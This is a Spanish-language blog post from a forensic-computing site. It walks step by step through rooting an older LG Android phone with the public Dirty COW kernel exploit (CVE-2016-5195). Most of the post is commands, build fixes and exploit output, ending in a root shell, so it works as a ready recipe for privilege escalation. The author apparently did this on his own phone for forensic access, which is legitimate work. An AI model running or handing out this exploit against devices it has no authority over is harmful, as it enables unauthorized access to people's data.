Blog gratis
Reportar
Editar
¡Crea tu blog!
Compartir
¡Sorpréndeme!
img
img

 

 

Informática forense
Peritajes informáticos, análisis de evidencia presentada por las partes en juicios civiles.

img
img
img
.Más leídos
» Correo Microsoft Exchange modificado manualmente
» Desaparecieron los correos que tenía en hotmail
» Editores de texto que resalten la sintaxis eml de correos electrónicos
» ¿Es posible peritar emails en formato papel o pdf?
» Fingerprint servidor exchange
» Los correos electrónicos no son todos iguales
» Los procedimientos técnicos que se apliquen
» Metadatos de archivos digitales
» Preservar mensajes de WhatsApp
» Thread index análisis forense de emails
img
.Sobre mí
FOTO

Ing. Andres Aliaga

Gerente Comercial - Software -
Profesor de la Universidad del Salvador

» Ver perfil

img
.Buscador
Blog   Web
img
.Nube de tags [?]
img
.Enlaces
img
.Se comenta...
21 de Febrero, 2020 · General

Android superusuario sin root

Para dispositivos Android anteriores a 2016 es posible aprovechar una vulnerabilidad del sistema operativo llamada Dirty Cow (Copy on Write). A continuación se muestra cómo realizar esto utilizando el celular LG L20 y Lubuntu 19.04 (64 bits).


1. Pasos previos:

1.1. Configurar el dispositivo para que acepte adb. Modo desarrollador -> USB Debugging.

1.2. Instalar adb en lubuntu (Opcionalmente también fastboot aunque no es necesario para este procedimiento).


$ sudo apt-get install android-tools-adb




2. Utilizaremos la siguiente prueba de concepto: https://github.com/timwr/CVE-2016-5195


2.1. Clonar el repositorio:

$ git clone https://github.com/timwr/CVE-2016-5195


2.2. Según el procedimiento, el siguiente paso es conectar el celular y ejecutar el siguiente comando.

$ cd CVE-2016-5195

$ make root


Al ejecutar esta sentencia el sistema operativo devuelve el siguiente error.


andres@andres-pc:~/CVE-2016-5195$ make root

* daemon not running; starting now at tcp:5037

* daemon started successfully

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19

make: ndk-build: Command not found

make: *** [Makefile:8: build] Error 127



2.3.Lo que indica que debemos instalar Android NDK, para ello debemos descargar NDK, descomprimirlo y agregarlo al path del sistema:


$ cd $HOME

$ wget https://dl.google.com/android/repository/android-ndk-r14b-linux-x86_64.zip

$ unzip android-ndk-r14b-linux-x86_64.zip

$ export PATH="$PATH:$HOME/android-ndk-r14b/"


2.4. Nuevamente al ejecutar el paso 2.2. make root el sistema indicará que no se encuentra disponible la biblioteca libncurses.5. Revisando el sistema operativo lubuntu se encuentra la version 6 de libncurses por lo que se debe instalar también la versión 5.


$ sudo apt-get install libncurses5


2.5. Apagar el celular, conectarlo al cable de USB y proceder a ejecutar el paso 2.2. nuevamente.


$ cd CVE-2016-5195

$ make root


El sistema devolverá lo siguiente:


ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19

make[1]: Entering directory `/home/andres/CVE-2016-5195'

[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow

[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as

make[1]: Leaving directory `/home/andres/CVE-2016-5195'

adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow

libs/armeabi-v7a/dirtycow: 1 file pushed. 0.5 MB/s (17880 bytes in 0.032s)

adb shell 'chmod 777 /data/local/tmp/dcow'

adb shell 'chmod 777 /data/local/tmp/dcow'

adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as

libs/armeabi-v7a/run-as: 1 file pushed. 0.4 MB/s (5544 bytes in 0.014s)

adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'

dcow /data/local/tmp/run-as /system/bin/run-as

warning: new file size (5544) and destination file size (9440) differ


[*] size 9440

[*] mmap 0x40147000

[*] currently 0x40147000=464c457f

[*] using /proc/self/mem method

[*] madvise = 0x40147000 9440

[*] madvise = 0 2

[*] /proc/self/mem 490880 52

[*] exploited 0 0x40147000=464c457f


2.6. Obtener permisos de superusuario sin rootear el dispositivo mediante Dirty Cow, para ello ejecutar los comandos adb shell, y una vez posicionado en el celular ejecutar run-as y luego id:


$ adb shell

shell@luv20ss:/ $ 

shell@luv20ss:/ $ run-as


uid run-as 2000

uid 0

0 u:r:runas:s0

context 0 u:r:shell:s0

shell@luv20ss:/ # 


shell@luv20ss:/ # id

uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

shell@luv20ss:/ # 


Se observa que la sesión posee usuario root. De momento para este celular no he encontrado la posibilidad de que además el grupo sea también root y esta sesión no permite acceder a la carpeta data.-


El presente procedimiento está basado en partes del procedimiento listado https://github.com/j0nk0/GetRoot-Android-DirtyCow

publicado por andresaliaga a las 17:47 · Sin comentarios  ·  Recomendar
Más sobre este tema ·  Participar
Comentarios (0) ·  Enviar comentario
Enviar comentario

Nombre:

E-Mail (no será publicado):

Sitio Web (opcional):

Recordar mis datos.
Escriba el código que visualiza en la imagen Escriba el código [Regenerar]:
Formato de texto permitido: <b>Negrita</b>, <i>Cursiva</i>, <u>Subrayado</u>, <li>· Lista</li>
img img
FULLServices Network | Blog gratis | Privacidad